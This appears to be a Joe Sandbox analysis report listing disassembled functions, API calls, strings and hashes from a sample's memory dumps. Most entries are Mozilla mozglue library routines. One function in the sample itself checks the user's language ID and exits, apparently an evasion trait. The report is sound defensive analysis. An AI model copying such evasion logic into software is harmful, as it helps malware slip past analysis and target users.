?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 00076770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00076774
ExitProcess.KERNEL32 ref: 000767A5
ExitProcess.KERNEL32 ref: 000767AF
ExitProcess.KERNEL32 ref: 000767B9
ExitProcess.KERNEL32 ref: 000767C3
ExitProcess.KERNEL32 ref: 000767CD

Strings

*, xrefs: 0007678C

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 40aa829ea83c566818372957f35a8fd0ef70eaeab73a5e0a35c091ec39b64683
Instruction ID: 05ec2f91be1c21eda0f4555a49e859362dbe5f20de9b9d93e510125b30370e05
Opcode Fuzzy Hash: 40aa829ea83c566818372957f35a8fd0ef70eaeab73a5e0a35c091ec39b64683
Instruction Fuzzy Hash: 49F01730908209EFD3849FE0ED0D76DBA70FF06702F04019AE60A86290DB794E41DB96

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
